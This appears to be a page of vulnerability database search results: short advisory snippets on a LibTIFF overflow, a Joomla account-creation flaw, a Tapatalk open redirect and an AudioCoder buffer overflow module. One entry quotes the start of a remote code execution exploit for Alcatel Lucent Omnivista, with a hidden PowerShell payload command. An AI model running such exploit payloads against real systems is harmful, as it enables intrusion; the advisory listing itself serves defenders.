57 matches found
CVE-2015-8870
Integer overflow in tools/bmp2tiff.c in LibTIFF before 4.0.4 allows remote attackers to cause a denial of service heap-based buffer over-read, or possibly obtain sensitive information from process memory, via crafted width and length values in RLE4 or RLE8 data in a BMP file...
CVE-2015-8870
CVE-2015-8870 describes an integer overflow in LibTIFF’s tools/bmp2tiff.c, fixed in LibTIFF 4.0.4. A crafted BMP file with specific RLE4/RLE8 width/length values can trigger a heap-based buffer over-read, enabling a denial of service and potentially leaking memory contents. The vulnerability affe...
CVE-2014-9299
This CVE entry is rejected and not used; reference CVE-2015-8870.
Alcatel Lucent Omnivista 8770 - Remote Code Execution Exploit
Exploit for windows platform in category remote exploits import socket import time import sys import os ref https://blog.malerisch.net/ Omnivista Alcatel-Lucent running on Windows Server if lensys.argv " % sys.argv0 print "eg: %s 192.168.1.246 "powershell.exe -nop -w hidden -c $g=new-object...
joomla create ordinary user vulnerability analysis(cve-2016-8870)-vulnerability warning-the black bar safety net
The experiment environment requirements Joomla version 3. 44 to 3. 63 Vulnerability analysis In joomla there are two user registration method: In the components/comusers/controllers/registration. in php UsersControllerRegistration::register In the components/comusers/controllers/user. in php...
CVE-2016-8870
The register method in the UsersModelRegistration class in controllers/user.php in the Users component in Joomla! before 3.6.4, when registration has been disabled, allows remote attackers to create user accounts by leveraging failure to check the Allow User Registration configuration setting...
CVE-2016-8870
The register method in the UsersModelRegistration class in controllers/user.php in the Users component in Joomla! before 3.6.4, when registration has been disabled, allows remote attackers to create user accounts by leveraging failure to check the Allow User Registration configuration setting...
CVE-2016-8870
CVE-2016-8870 affects Joomla! core (registration flow) prior to 3.6.4. The register method in UsersModelRegistration fails to respect the Allow User Registration setting, allowing remote creation of accounts even when registration is disabled. Exploitation details are documented across multiple s...
Joomla Core Unauthorized Account Creation (CVE-2016-8870)
A vulnerability exists in Joomla Core. The vulnerability is due to insufficient validation during user registration. Unauthorized attackers can remotly exploit this vulnerability to create any account in a Joomla system...
Joomla! 3.4.4 < 3.6.4 Multiple Vulnerabilities
According to its self-reported version number, the Joomla! installation running on the remote web server is 3.4.4 or later but prior to 3.6.4. It is, therefore, affected by multiple vulnerabilities : - A privilege escalation vulnerability exists in the Joomla! core user registration component due...
Joomla 3.4.4 - 3.6.3 not authorized to create user vulnerability
Author: p0wd3r know Chong Yu 404 security lab Date: 2016-10-26 0x00 vulnerability overview 1. Vulnerability description Joomla is a free open source content management system, recently researchers found in its 3. 4. 4 to 3. 6. 3 version there are two vulnerabilities: CVE-2016-8869, the...
Joomla Joomla! Two Critical Flaws Discovered — Update to Protect Your Site
Joomla – the world's second popular open source Content Management System CMS software packages, has just released the latest version of its CMS, which includes patches for two critical security vulnerabilities and a bug fix. The two critical flaws, both exist in the Joomla Core functionalities,...
CVE-2014-8870
CVE-2014-8870 concerns the Open Redirect vulnerability in the Tapatalk (com.tapatalk.wbb4) plugin for Woltlab Burning Board 4.0. The issue is triggered by supplying a malicious URL in the board_url parameter of mobiquo/smartbanner/welcome.php, allowing remote attackers to redirect users to arbitr...
WoltLab Burning Board 4.0 Tapatalk Open Redirect
The Tapatalk Plugin com.tapatalk.wbb4 for WoltLab Burning Board 4.0 prior to version 1.1.2 allowed to redirect users to arbitrary URLs. This was possible by specifying the target URL in the URL parameter boardurl in URLs like the following:...
AudioCoder .M3U Buffer Overflow
This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability occurs when adding an .m3u, allowing arbitrary code execution with the privileges of the user running AudioCoder. This module has been tested successfully on AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1...
